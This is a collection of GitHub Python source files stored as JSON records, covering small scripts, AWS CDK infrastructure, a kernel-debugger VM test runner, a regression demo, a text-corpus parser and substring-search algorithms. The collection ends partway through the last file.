{"seq_id":"575085494","text":"nums = [8,9,99,18,13,25,144,44,201,904]\r\nlargestNum = -1\r\naverage = 0\r\nsmallestNum = 904\r\nfor num in nums:\r\n    if largestNum < num:\r\n        largestNum = num\r\n    #print(largestNum,num)\r\n    average = (average + num)\r\n    if smallestNum > num:\r\n        smallestNum = num\r\n    #print(smallestNum,num)\r\n\r\naverage = average/10\r\nprint(nums)\r\nprint(\"The smallest number is\",smallestNum)\r\nprint(\"The average is\",average)\r\nprint(\"The Largest number is\",largestNum)\r\nprint(\"Done\")","repo_name":"0xchikku/vscode_python","sub_path":"Python/largestNum.py","file_name":"largestNum.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"12023843791","text":"from typing import Dict, List, Optional\nfrom constructs import Construct\n\nfrom aws_cdk import (\n    Stack,\n    aws_route53 as route53,\n    aws_certificatemanager as certificatemanager,\n    CfnOutput,\n)\n\nclass DomainStack(Stack):\n    def __init__(\n        self,\n        scope: Construct,\n        domain_of_hosted_zone: str,                     # Example: 'example.com'\n        sub_domain_list: List[str] = [],                # Example: ['sub.example.com', 'foo.example.com']\n        existing_hosted_zone_id: Optional[str] = None,  # Fill this field if you don't want to create an new Hosted Zone. Read warning below.\n    ) -> None:\n        # Replace 'example.com' for 'example-dot-com'\n        id = domain_of_hosted_zone.replace('.', '-dot-')\n\n        # Join all domains\n        all_domains = [domain_of_hosted_zone, ] + sub_domain_list\n\n        # Call super constructor\n        super().__init__(\n            scope=scope,\n            id=id,\n            description=f'Hosted zone and certificates of {\", \".join(all_domains)}.'\n        )\n\n        # Warning: Each time a Hosted Zone is created, it costs like 0.5 USD. So, take care.\n        # Also, very important, each time you create a Hosted Zone with CDK, the deploy will stops until you\n        # attach the namespaces to your domain. Do do it, first deploy, and then, go to your route53\n        # open the hosted zone created, and copy the four namespaces.\n        # Then, go to your domain provider and paste the namespaces in the configuration of the domain.\n        \n        # Assert that every sub domain ends correctly\n        for sub_domain in sub_domain_list:\n            assert sub_domain.endswith(domain_of_hosted_zone)\n\n        if existing_hosted_zone_id:\n            hosted_zone = route53.HostedZone.from_hosted_zone_id(\n                self,\n                id=id,\n                hosted_zone_id=existing_hosted_zone_id\n            )\n        else:\n            # Do not forget to set up the namespaces correctly once the zone name is created.\n\n            hosted_zone = route53.HostedZone(\n                self,\n                id=id,\n                zone_name=domain_of_hosted_zone\n            )\n\n        # Store some properties in the instance\n        self.hosted_zone = hosted_zone\n        self._certificates = self.generate_certificates(all_domains, hosted_zone)\n    \n    def generate_certificates(self, all_domains, hosted_zone) -> Dict[str, certificatemanager.Certificate]:\n        # Add a certificate for the domain and each sub domain\n        certificates: Dict[str, certificatemanager.Certificate] = dict()\n        for sub_domain in all_domains:\n            certificate = certificatemanager.Certificate(self,\n                id=sub_domain,\n                domain_name=sub_domain,\n                validation=certificatemanager.CertificateValidation.from_dns(hosted_zone),\n            )\n            \n            CfnOutput(self, id=f'certificate_arn_of_{sub_domain}', value= certificate.certificate_arn)\n\n        return certificates\n\n    def get_certificate_of(self, domain_or_sub_domain: str) -> certificatemanager.Certificate:\n        if domain_or_sub_domain not in self._certificates:\n            raise Exception('You are using get_certificate_of over an non declared domain neighter subdomain.')\n        \n        return self._certificates[domain_or_sub_domain]\n\n# Interface.\nclass IDomainAttachable:\n    def attach_to_domain(\n        self,\n        domain_stack: DomainStack,\n        domain: str # Example: 'foo.example.com'\n        ):\n        raise NotImplementedError()\n","repo_name":"agusavior/cdk-prototype","sub_path":"infrastructure/stacks/domain.py","file_name":"domain.py","file_ext":"py","file_size_in_byte":3544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"10951386519","text":"#!/usr/bin/env python3\n\nfrom collections import OrderedDict\nimport logging\nimport os\nfrom pathlib import Path\nimport shlex\nimport subprocess\nimport sys\n\nfrom util import KernelVersion\nfrom vmtest.config import (\n    ARCHITECTURES,\n    HOST_ARCHITECTURE,\n    KERNEL_FLAVORS,\n    SUPPORTED_KERNEL_VERSIONS,\n    Kernel,\n)\nfrom vmtest.download import DownloadCompiler, DownloadKernel, download_in_thread\nfrom vmtest.kmod import build_kmod\nfrom vmtest.rootfsbuild import build_drgn_in_rootfs\nfrom vmtest.vm import LostVMError, run_in_vm\n\nlogger = logging.getLogger(__name__)\n\n\nclass _ProgressPrinter:\n    def __init__(self, file):\n        self._file = file\n        if hasattr(file, \"fileno\"):\n            try:\n                columns = os.get_terminal_size(file.fileno())[0]\n                self._color = True\n            except OSError:\n                columns = 80\n                self._color = False\n        self._header = \"#\" * columns\n        self._passed = {}\n        self._failed = {}\n\n    def _green(self, s: str) -> str:\n        if self._color:\n            return \"\\033[32m\" + s + \"\\033[0m\"\n        else:\n            return s\n\n    def _red(self, s: str) -> str:\n        if self._color:\n            return \"\\033[31m\" + s + \"\\033[0m\"\n        else:\n            return s\n\n    def update(self, category: str, name: str, passed: bool):\n        d = self._passed if passed else self._failed\n        d.setdefault(category, []).append(name)\n\n        if self._failed:\n            header = self._red(self._header)\n        else:\n            header = self._green(self._header)\n\n        print(header, file=self._file)\n        print(file=self._file)\n\n        if self._passed:\n            first = True\n            for category, names in self._passed.items():\n                if first:\n                    first = False\n                    print(self._green(\"Passed:\"), end=\" \")\n                else:\n                    print(\"       \", end=\" \")\n                print(f\"{category}: {', '.join(names)}\")\n        if self._failed:\n            first = True\n            for category, names in self._failed.items():\n                if first:\n                    first = False\n                    print(self._red(\"Failed:\"), end=\" \")\n                else:\n                    print(\"       \", end=\" \")\n                print(f\"{category}: {', '.join(names)}\")\n\n        print(file=self._file)\n        print(header, file=self._file, flush=True)\n\n\ndef _kdump_works(kernel: Kernel) -> bool:\n    if kernel.arch.name == \"aarch64\":\n        # kexec fails with \"kexec: setup_2nd_dtb failed.\" on older versions.\n        # See\n        # http://lists.infradead.org/pipermail/kexec/2020-November/021740.html.\n        return KernelVersion(kernel.release) >= KernelVersion(\"5.10\")\n    elif kernel.arch.name == \"arm\":\n        # Without virtual address translation, we can't debug vmcores. Besides,\n        # kexec fails with \"Could not find a free area of memory of 0xXXX\n        # bytes...\".\n        return False\n    elif kernel.arch.name == \"ppc64\":\n        # Before 6.1, sysrq-c hangs.\n        return KernelVersion(kernel.release) >= KernelVersion(\"6.1\")\n    elif kernel.arch.name == \"s390x\":\n        # Before 5.15, sysrq-c hangs.\n        return KernelVersion(kernel.release) >= KernelVersion(\"5.15\")\n    elif kernel.arch.name == \"x86_64\":\n        return True\n    else:\n        assert False, kernel.arch.name\n\n\nif __name__ == \"__main__\":\n    import argparse\n\n    logging.basicConfig(\n        format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\", level=logging.INFO\n    )\n    parser = argparse.ArgumentParser(\n        description=\"test drgn in a virtual machine\",\n        formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n    )\n    parser.add_argument(\n        \"-d\",\n        \"--directory\",\n        metavar=\"DIR\",\n        type=Path,\n        default=\"build/vmtest\",\n        help=\"directory for vmtest artifacts\",\n    )\n    parser.add_argument(\n        \"-a\",\n        \"--architecture\",\n        dest=\"architectures\",\n        action=\"append\",\n        choices=[\"all\", \"foreign\", *sorted(ARCHITECTURES)],\n        default=argparse.SUPPRESS,\n        required=HOST_ARCHITECTURE is None,\n        help=\"architecture to test, \"\n        '\"all\" to test all supported architectures, '\n        'or \"foreign\" to test all supported architectures other than the host architecture; '\n        \"may be given multiple times\"\n        + (\n            \"\" if HOST_ARCHITECTURE is None else f\" (default: {HOST_ARCHITECTURE.name})\"\n        ),\n    )\n    parser.add_argument(\n        \"-k\",\n        \"--kernel\",\n        metavar=\"PATTERN|{all,\" + \",\".join(KERNEL_FLAVORS) + \"}\",\n        dest=\"kernels\",\n        action=\"append\",\n        default=argparse.SUPPRESS,\n        help=\"kernel to test, \"\n        '\"all\" to test all supported kernels, '\n        \"or flavor name to test all supported kernels of a specific flavor; \"\n        \"may be given multiple times (default: none)\",\n    )\n    parser.add_argument(\n        \"-l\",\n        \"--local\",\n        action=\"store_true\",\n        help=\"run local tests\",\n    )\n    args = parser.parse_args()\n\n    architecture_names = []\n    if hasattr(args, \"architectures\"):\n        for name in args.architectures:\n            if name == \"all\":\n                architecture_names.extend(ARCHITECTURES)\n            elif name == \"foreign\":\n                architecture_names.extend(\n                    [\n                        arch.name\n                        for arch in ARCHITECTURES.values()\n                        if arch is not HOST_ARCHITECTURE\n                    ]\n                )\n            else:\n                architecture_names.append(name)\n        architectures = [\n            ARCHITECTURES[name] for name in OrderedDict.fromkeys(architecture_names)\n        ]\n    else:\n        architectures = [HOST_ARCHITECTURE]\n\n    if hasattr(args, \"kernels\"):\n        kernels = []\n        for pattern in args.kernels:\n            if pattern == \"all\":\n                kernels.extend(\n                    [\n                        version + \".*\" + flavor\n                        for version in SUPPORTED_KERNEL_VERSIONS\n                        for flavor in KERNEL_FLAVORS\n                    ]\n                )\n            elif pattern in KERNEL_FLAVORS:\n                kernels.extend(\n                    [version + \".*\" + pattern for version in SUPPORTED_KERNEL_VERSIONS]\n                )\n            else:\n                kernels.append(pattern)\n        args.kernels = OrderedDict.fromkeys(kernels)\n    else:\n        args.kernels = []\n\n    if not args.kernels and not args.local:\n        parser.error(\"at least one of -k/--kernel or -l/--local is required\")\n\n    if args.kernels:\n        to_download = [DownloadCompiler(arch) for arch in architectures]\n        for pattern in args.kernels:\n            for arch in architectures:\n                to_download.append(DownloadKernel(arch, pattern))\n    else:\n        to_download = []\n\n    progress = _ProgressPrinter(sys.stderr)\n\n    with download_in_thread(args.directory, to_download) as downloads:\n        for arch in architectures:\n            if arch is HOST_ARCHITECTURE:\n                subprocess.check_call(\n                    [sys.executable, \"setup.py\", \"build_ext\", \"-i\"],\n                    env={\n                        **os.environ,\n                        \"CONFIGURE_FLAGS\": \"--enable-compiler-warnings=error\",\n                    },\n                )\n                if args.local:\n                    logger.info(\"running local tests on %s\", arch.name)\n                    status = subprocess.call(\n                        [\n                            sys.executable,\n                            \"-m\",\n                            \"pytest\",\n                            \"-v\",\n                            \"--ignore=tests/linux_kernel\",\n                        ]\n                    )\n                    progress.update(arch.name, \"local\", status == 0)\n            else:\n                rootfs = args.directory / arch.name / \"rootfs\"\n                build_drgn_in_rootfs(rootfs)\n                if args.local:\n                    logger.info(\"running local tests on %s\", arch.name)\n                    status = subprocess.call(\n                        [\n                            \"unshare\",\n                            \"--map-root-user\",\n                            \"--map-users=auto\",\n                            \"--map-groups=auto\",\n                            \"--fork\",\n                            \"--pid\",\n                            \"--mount-proc=\" + str(rootfs / \"proc\"),\n                            \"sh\",\n                            \"-c\",\n                            r\"\"\"\nset -e\n\nmount --bind . \"$1/mnt\"\nchroot \"$1\" sh -c 'cd /mnt && pytest -v --ignore=tests/linux_kernel'\n\"\"\",\n                            \"sh\",\n                            rootfs,\n                        ]\n                    )\n                    progress.update(arch.name, \"local\", status == 0)\n        for kernel in downloads:\n            if not isinstance(kernel, Kernel):\n                continue\n            kmod = build_kmod(args.directory, kernel)\n            if _kdump_works(kernel):\n                kdump_command = \"\"\"\\\n    \"$PYTHON\" -Bm vmtest.enter_kdump\n    # We should crash and not reach this.\n    exit 1\n\"\"\"\n            else:\n                kdump_command = \"\"\n            test_command = rf\"\"\"\nset -e\n\nexport PYTHON={shlex.quote(sys.executable)}\nexport DRGN_TEST_KMOD={shlex.quote(str(kmod))}\nexport DRGN_RUN_LINUX_KERNEL_TESTS=1\nif [ -e /proc/vmcore ]; then\n    \"$PYTHON\" -Bm pytest -v tests/linux_kernel/vmcore\nelse\n    insmod \"$DRGN_TEST_KMOD\"\n    \"$PYTHON\" -Bm pytest -v tests/linux_kernel --ignore=tests/linux_kernel/vmcore\n{kdump_command}\nfi\n\"\"\"\n            try:\n                status = run_in_vm(\n                    test_command,\n                    kernel,\n                    args.directory / kernel.arch.name / \"rootfs\",\n                    args.directory,\n                )\n            except LostVMError as e:\n                print(\"error:\", e, file=sys.stderr)\n                status = -1\n            progress.update(kernel.arch.name, kernel.release, status == 0)\n","repo_name":"osandov/drgn","sub_path":"vmtest/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":10118,"program_lang":"python","lang":"en","doc_type":"code","stars":1531,"dataset":"github-code","pt":"47"}
{"seq_id":"27110025592","text":"#importar libreria de datos\nfrom sklearn import datasets\n#importar libreria de ML regresion lineal\nfrom sklearn.linear_model import LinearRegression\n#importar libreria para graficos de visualizacion\nimport matplotlib.pyplot as plt\n\nimport numpy as np\n\n#asignar los datos a una variable\nboston = datasets.load_boston()\n\n#crear un objeto de regresion lineal\nlr = LinearRegression(normalize=True)\n#entrenar el objeto de regresion lineal con los datos obtenidos\n#el primer argumento será toda las variables y la segunda el resultado\nlr.fit(boston.data, boston.target)\n\n#observar el coeficiente con respectos al valor de los precios\nfor (feature, coef) in zip(boston.feature_names, lr.coef_):\n    print('{:>7}: {: 9.5f}'.format(feature, coef))\n\n#funcion para observar mediante graficos las relaciones\ndef plot_feature(feature):\n    f = (boston.feature_names == feature)\n    plt.scatter(boston.data[:,f], boston.target, c='b', alpha=0.3)\n    plt.plot(boston.data[:,f], boston.data[:,f]*lr.coef_[f] + lr.intercept_, 'k')\n    plt.legend(['Predicted value', 'Actual value'])\n    plt.xlabel(feature)\n    plt.ylabel(\"Median value in $1000's\")\n    plt.show()\n#llamada de la funcion\nplot_feature('AGE')\n\n#predecir el precio de una vivienda tras entrenarlo\npredictions = lr.predict(boston.data)\nf, ax = plt.subplots(1)\nax.hist(boston.target - predictions, bins=50, alpha=0.7)\nax.set_title('Histograma de residuales')\nax.text(0.95, 0.90, 'Media de residuales: {:.3e}'.format(np.mean(boston.target - predictions)),\n        transform=ax.transAxes, verticalalignment='top', horizontalalignment='right')\nplt.show()\n\n","repo_name":"MAURI-PROGRAM/DATA-SCIENCE-2","sub_path":"Regresión Lineal/ejemplo1_PrecioCasasBoston.py","file_name":"ejemplo1_PrecioCasasBoston.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"37670927931","text":"import os\nimport time\nimport warnings\nimport argparse\n\nfrom IPython import embed\n\nimport numpy\n\nfrom matplotlib import pyplot, ticker, colors\n\nfrom ..etc import source, efficiency, telescopes, spectrum, extract, aperture, detector\nfrom ..etc.observe import Observation\nfrom . import scriptbase\nfrom .. import data_file\n\ndef get_wavelength_vector(start, end, logstep):\n    \"\"\"\n    Get the wavelength vector\n    \"\"\"\n    nwave = int((numpy.log10(end)-numpy.log10(start))/logstep + 1)\n    return numpy.power(10., numpy.arange(nwave)*logstep + numpy.log10(start))\n\n\ndef get_spectrum(wave, mag, emline_db=None, redshift=0.0, resolution=3500):\n    \"\"\"\n    \"\"\"\n    spec = spectrum.ABReferenceSpectrum(wave, resolution=resolution, log=True)\n    g = efficiency.FilterResponse()\n    spec.rescale_magnitude(mag, band=g)\n    if emline_db is None:\n        return spec\n    spec = spectrum.EmissionLineSpectrum(wave, emline_db['flux'], emline_db['restwave'],\n                                         emline_db['fwhm'], units=emline_db['fwhmu'],\n                                         redshift=redshift, resolution=resolution, log=True,\n                                         continuum=spec.flux)\n    warnings.warn('Including emission lines, spectrum g-band magnitude changed '\n                  'from {0} to {1}.'.format(mag, spec.magnitude(band=g)))\n    return spec\n\n\nclass FOBOSETCGrid(scriptbase.ScriptBase):\n\n    @classmethod\n    def get_parser(cls, width=None):\n        import argparse\n\n        parser = super().get_parser(description='Grid sampling of FOBOS ETC', width=width)\n\n        parser.add_argument('-w', '--wavelengths', default=[3100,10000,4e-5], nargs=3, type=float,\n                            help='Wavelength grid: start wave, approx end wave, logarithmic step.')\n        parser.add_argument('-m', '--mag', default=[21.,25.,0.5], nargs=3, type=float,\n                            help='Object apparent AB magnitude; assumed spectrum has a constant AB '\n                                'otherwise, it is assumed to be the total magnitude of the source.')\n        parser.add_argument('-t', '--time', default=[300.,3600.,300.], nargs=3, type=float,\n                            help='Exposure time (s)')\n        parser.add_argument('-f', '--fwhm', default=0.65, type=float,\n                            help='On-sky PSF FWHM (arcsec)')\n        parser.add_argument('-a', '--airmass', default=1.0, type=float, help='Airmass')\n        parser.add_argument('--snr_units', type=str, default='pixel',\n                            help='The units for the S/N.  Options are pixel, angstrom, resolution.')\n\n        return parser\n\n    @staticmethod\n    def main(args):\n\n        t = time.perf_counter()\n\n        # Constants:\n        resolution = 3500.      # lambda/dlambda\n        fiber_diameter = 0.8    # Arcsec\n        rn = 2.                             # Detector readnoise (e-)\n        dark = 0.0                          # Detector dark-current (e-/s)\n\n        # Temporary numbers that assume a given spectrograph PSF and LSF.\n        # Assume 3 pixels per spectral and spatial FWHM.\n        spatial_fwhm = 3.0\n        spectral_fwhm = 3.0\n\n        mags = numpy.arange(args.mag[0], args.mag[1]+args.mag[2], args.mag[2])\n        times = numpy.arange(args.time[0], args.time[1]+args.time[2], args.time[2])\n\n        # Get source spectrum in 1e-17 erg/s/cm^2/angstrom. Currently, the\n        # source spectrum is assumed to be\n        #   - normalized by the total integral of the source flux \n        #   - independent of position within the source\n        wave = get_wavelength_vector(args.wavelengths[0], args.wavelengths[1], args.wavelengths[2])\n        spec = get_spectrum(wave, mags[0], resolution=resolution)\n\n        # Get the source distribution.  If the source is uniform, onsky is None.\n        onsky = None\n\n        # Get the sky spectrum\n        sky_spectrum = spectrum.MaunakeaSkySpectrum()\n\n        # Overplot the source and sky spectrum\n    #    ax = spec.plot()\n    #    ax = sky_spectrum.plot(ax=ax, show=True)\n\n        # Get the atmospheric throughput\n        atmospheric_throughput = efficiency.AtmosphericThroughput(airmass=args.airmass)\n\n        # Set the telescope. Defines the aperture area and throughput\n        # (nominally 3 aluminum reflections for Keck)\n        telescope = telescopes.KeckTelescope()\n\n        # Define the observing aperture; fiber diameter is in arcseconds,\n        # center is 0,0 to put the fiber on the target center. \"resolution\"\n        # sets the resolution of the fiber rendering; it has nothing to do\n        # with spatial or spectral resolution of the instrument\n        fiber = aperture.FiberAperture(0, 0, fiber_diameter, resolution=100)\n\n        # Get the spectrograph throughput (circa June 2018; TODO: needs to\n        # be updated). Includes fibers + foreoptics + FRD + spectrograph +\n        # detector QE (not sure about ADC). Because this is the total\n        # throughput, define a generic efficiency object.\n        thru_file = str(data_file(filename='efficiency') / 'fobos_throughput.db')\n        thru_db = numpy.genfromtxt(thru_file)\n        spectrograph_throughput = efficiency.Efficiency(thru_db[:,1], wave=thru_db[:,0])\n\n        # System efficiency combines the spectrograph and the telescope\n        system_throughput = efficiency.SystemThroughput(wave=spec.wave,\n                                                        spectrograph=spectrograph_throughput,\n                                                        telescope=telescope.throughput)\n\n        # Instantiate the detector; really just a container for the rn and\n        # dark current for now. QE is included in fobos_throughput.db file,\n        # so I set it to 1 here.\n        det = detector.Detector(rn=rn, dark=dark, qe=1.0)\n\n        # Extraction: makes simple assumptions about the detector PSF for\n        # each fiber spectrum and mimics a \"perfect\" extraction, including\n        # an assumption of no cross-talk between fibers. Ignore the\n        # \"spectral extraction\".\n        extraction = extract.Extraction(det, spatial_fwhm=spatial_fwhm,\n                                        spatial_width=1.5*spatial_fwhm,\n                                        spectral_fwhm=spectral_fwhm, spectral_width=spectral_fwhm)\n\n        snr_label = 'S/N per {0}'.format('R element' if args.snr_units == 'resolution'\n                                        else args.snr_units)\n\n        # SNR\n        g = efficiency.FilterResponse()\n        r = efficiency.FilterResponse(band='r')\n        snr_g = numpy.empty((mags.size, times.size), dtype=float)\n        snr_r = numpy.empty((mags.size, times.size), dtype=float)\n        for i in range(mags.size):\n            spec.rescale_magnitude(mags[i], band=g)\n            for j in range(times.size):\n                print('{0}/{1} ; {2}/{3}'.format(i+1,mags.size,j+1,times.size), end='\\r')\n                # Perform the observation\n                obs = Observation(telescope, sky_spectrum, fiber, times[j], det,\n                                system_throughput=system_throughput,\n                                atmospheric_throughput=atmospheric_throughput,\n                                airmass=args.airmass, onsky_source_distribution=onsky,\n                                source_spectrum=spec, extraction=extraction,\n                                snr_units=args.snr_units)\n\n                # Construct the S/N spectrum\n                snr_spec = obs.snr(sky_sub=True)\n                snr_g[i,j] = numpy.sum(g(snr_spec.wave)*snr_spec.flux)/numpy.sum(g(snr_spec.wave))\n                snr_r[i,j] = numpy.sum(r(snr_spec.wave)*snr_spec.flux)/numpy.sum(r(snr_spec.wave))\n        print('{0}/{1} ; {2}/{3}'.format(i+1,mags.size,j+1,times.size))\n\n        extent = [args.time[0] - args.time[2]/2, args.time[1] + args.time[2]/2,\n                args.mag[0] - args.mag[2]/2, args.mag[1] + args.mag[2]/2]\n\n        w,h = pyplot.figaspect(1)\n        fig = pyplot.figure(figsize=(1.5*w,1.5*h))\n        ax = fig.add_axes([0.15, 0.2, 0.7, 0.7])\n        img = ax.imshow(snr_g, origin='lower', interpolation='nearest', extent=extent,\n                        aspect='auto', norm=colors.LogNorm(vmin=snr_g.min(), vmax=snr_g.max()))\n        cax = fig.add_axes([0.86, 0.2, 0.02, 0.7])\n        pyplot.colorbar(img, cax=cax)\n        cax.text(4, 0.5, snr_label, ha='center', va='center', transform=cax.transAxes,\n                rotation='vertical')\n        ax.text(0.5, -0.08, 'Exposure Time [s]', ha='center', va='center', transform=ax.transAxes)\n        ax.text(-0.12, 0.5, r'Surface Brightness [AB mag/arcsec$^2$]', ha='center', va='center',\n                transform=ax.transAxes, rotation='vertical')\n        ax.text(0.5, 1.03, r'$g$-band S/N', ha='center', va='center', transform=ax.transAxes,\n                fontsize=12)\n        pyplot.show()\n\n","repo_name":"kbwestfall/synospec","sub_path":"synospec/scripts/fobos_etc_grid.py","file_name":"fobos_etc_grid.py","file_ext":"py","file_size_in_byte":8797,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"2693401394","text":"# 출처 : https://www.acmicpc.net/problem/16853\na, b = map(int, input().split())\n\nanswer = 0\nwhile(b > a):\n    # 짝수이면 나누기 2\n    if(b % 2 == 0):\n        b = b//2\n        answer += 1\n    # 홀수인 경우 맨 끝이 1일때와 1이 아닐 때로 분기\n    else:\n        # 맨 끝이 1이 아니면 어떤 방법으로도 만들 수 없으므로 -1\n        if(str(b)[-1] != '1'):\n            answer = -1\n            break\n        # 맨 끝이 1이라면 1을 제거한다.\n        else:\n            b = int(str(b)[0:len(str(b))-1])\n            answer += 1\n\n# 연산을 다 마치고 나서 값이 다르면 만들 수 없는 것이다.\nif(b != a):\n    print(-1)\nelse:\n    print(answer+1)\n","repo_name":"Ssook/Algorithm","sub_path":"boj/16853.py","file_name":"16853.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"21548278373","text":"from django.urls import path\r\nfrom . import views\r\n\r\nurlpatterns = [\r\n\tpath('', views.index, name = 'index'), \r\n\tpath('scrape/', views.scrape, name = 'scrape_url'), \r\n\tpath('temp/', views.scraper2, name=  'temp'), \r\n\tpath('temp_detail', views.scraper2_detail, name = 'temp_detail')\r\n]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"ai-is-awesome/game_card_scraper_webapp","sub_path":"scraper_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"27951605627","text":"general = dict(\r\n    disableLogging = False,\r\n    actionDataSource = 'actionData.csv',\r\n    mediaRendererModelName = 'gmediarender',\r\n    deviceSearchTimeout = 20,\r\n    rfidLockIntervall = 6,\r\n    logging_formatter = '%(asctime)s - %(name)s - %(levelname)s - %(message)s',\r\n)\r\n\r\napp = dict(\r\n    host = '0.0.0.0',\r\n    port = 80,\r\n    debug = False,\r\n)\r\n\r\nwifi = dict(\r\n    wpa_conf_file = '/etc/wpa_supplicant/wpa_supplicant.conf',\r\n    interface_file = '/etc/network/interfaces',\r\n)\r\n\r\nrfid = dict(\r\n    sleepTime = 1,\r\n)\r\n","repo_name":"philippsauer/digitaleKassette","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"20157647960","text":"from __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom __future__ import absolute_import\n\nimport collections\nimport re\n\nfrom . import _common as common\nfrom ..base.candidate import CandidateFactory\nfrom ..base.sentence import SentenceFactory\nfrom ..base.mweoccur import MWEOccurrence\nfrom ..base.word import Word\nfrom .. import util\n\n\nclass TPCInfo(common.FiletypeInfo):\n    r\"\"\"FiletypeInfo subclass for TaggedPlainCorpus format.\"\"\"\n    description = \"One sentence per line with <mwepart>tags</mwepart>\"\n    filetype_ext = \"TaggedPlainCorpus\"\n  \n    comment_prefix = \"#\"\n    escape_pairs = [(\"$\", \"${dollar}\"), (\"#\", \"${hash}\"),\n                    (\"<\", \"${lt}\"), (\">\", \"${gt}\"), (\" \", \"${space}\"),\n                    (\"\\n\", \"${newline}\")]\n\n    def operations(self):\n        return common.FiletypeOperations(TPCChecker, TPCParser, TPCPrinter)\n\n\nclass TPCChecker(common.AbstractChecker):\n    r\"\"\"Checks whether input is in TaggedPlainCorpus format.\"\"\"\n    def matches_header(self, strict):\n        return not strict or \"<mwepart\" in self.fileobj.peek(1024)\n\n\nclass TPCParser(common.AbstractTxtParser):\n    r\"\"\"Instances of this class parse the TaggedPlainCorpus format,\n    calling the `handler` for each object that is parsed.\n    \"\"\"\n    valid_categories = [\"corpus\"]\n    RE_ENTRY = re.compile(\n            \"(?P<word>[^<> ]+)\" \\\n            \"|(?P<complex><mwepart +id=\\\"(?P<ids>[0-9,]*)\\\">\" \\\n                    \"(?P<c_word>[^<> ]+)</ *mwepart *>)\")\n\n    def __init__(self, encoding='utf-8'):\n        super(TPCParser, self).__init__(encoding)\n        self.candidate_factory = CandidateFactory()\n        self.sentence_factory = SentenceFactory()\n        self.category = \"corpus\"\n\n    def _parse_line(self, line, info={}):\n        sentence = self.sentence_factory.make()\n        num2cand = collections.defaultdict(list)\n        num2indexes = collections.defaultdict(list)\n\n        for match in self.RE_ENTRY.finditer(line):\n            word, complex, ids, c_word = match.groups()\n            if word:\n                sentence.append(Word(word))\n            else:\n                sentence.append(Word(c_word))\n                for id in ids.split(\",\"):\n                    num2cand[int(id)].append(sentence[-1])\n                    num2indexes[int(id)].append(len(sentence)-1)\n\n        for num in sorted(num2cand.keys()):\n            words = num2cand[ num ]\n            c = self.candidate_factory.make(words, id_number=num)\n            mweo = MWEOccurrence(sentence, c, num2indexes[num])\n            sentence.mweoccurs.append(mweo)\n\n        self.handler.handle_sentence(sentence, info)\n\n\nclass TPCPrinter(common.AbstractPrinter):\n    \"\"\"Instances can be used to print HTML format.\"\"\"\n    valid_categories = [\"corpus\"]\n\n    def handle_sentence(self, sentence, info={}):\n        \"\"\"Print a simple readable string where the surface forms of the \n        current sentence are concatenated and separated by a single space.\n            \n        @return A string with the surface form of the sentence,\n        space-separated.\n        \"\"\"\n        surface_list = [self.escape(w.surface) for w in sentence.word_list]\n        mwetags_list = [[] for i in range(len(surface_list))]\n        for mweoccur in sentence.mweoccurs:\n            for i in mweoccur.indexes:\n                mwetags_list[i].append( mweoccur.candidate.id_number)\n        for (mwetag_i, mwetag) in enumerate(mwetags_list):\n            if mwetag:\n                mwetag = (unicode(index) for index in mwetag)\n                surface_list[mwetag_i] = \"<mwepart id=\\\"\" + \",\".join(mwetag) \\\n                              + \"\\\">\" + surface_list[mwetag_i] + \"</mwepart>\"\n        line = \" \".join(surface_list)\n        self.add_string(line, \"\\n\")\n","repo_name":"aminorex/nlp","sub_path":"mwetoolkit/bin/libs/filetype/ft_taggedplaincorpus.py","file_name":"ft_taggedplaincorpus.py","file_ext":"py","file_size_in_byte":3759,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"42121414576","text":"\"\"\"\nImplement StrStr\nImplement strStr().\n strstr - locate a substring ( needle ) in a string ( haystack ). \nTry not to use standard library string functions for this question. \nReturns the index of the first occurrence of needle in haystack, or -1 if needle is not part of haystack.\"\"\"\n\n\n\n\n#Using KMP Algorithm\ndef strStrKMP(A, B):\n    def lpsTable(A):\n        i, j, n = 1, 0, len(A)\n        lps = [None]*n\n        lps[0] = 0\n        while i < n:\n            if A[i] == A[j]:\n                lps[i] = j+1\n                i, j = i+1, j+1\n            else:\n                if j != 0:\n                    j = lps[j-1]\n                else:\n                    lps[i] = 0\n                    i += 1\n        return lps\n        \n    i = 0\n    target = 0\n    lps = lpsTable(B)\n    \n    n, m = len(A), len(B)\n    while i < n:\n        if A[i] == B[target]:\n            i, target = i+1, target+1\n        \n        if target == m:\n            return i-m\n            \n        elif i < n and A[i]!=B[target]:\n            if target != 0:\n                target = lps[target-1]\n            else:\n                i += 1\n                \n                \n    return -1\n\n#Using Rolling Hash algorithm\ndef strStrRolling(A, B):\n    if len(A) == 0 or len(B) == 0 or len(A) < len(B):\n        return -1\n    n, m = len(A), len(B)\n    target = 0\n    index = 0\n    for i in B:\n        temp = (37**index)\n        target += ord(i)*temp\n        target = target\n        index += 1\n    \n    roll_hash = 0\n    index = 0\n    for i in range(m):\n        temp = (37**index)\n        roll_hash += ord(A[i])*temp\n        roll_hash = roll_hash\n        index += 1\n        \n    if roll_hash == target:\n        return 0\n        \n    for i in range(1,n-m+1):\n        roll_hash -= ord(A[i-1])\n        roll_hash = roll_hash//37\n        roll_hash += ord(A[m+i-1])*(37**(m-1))\n        if roll_hash == target:\n            return i\n            \n    return 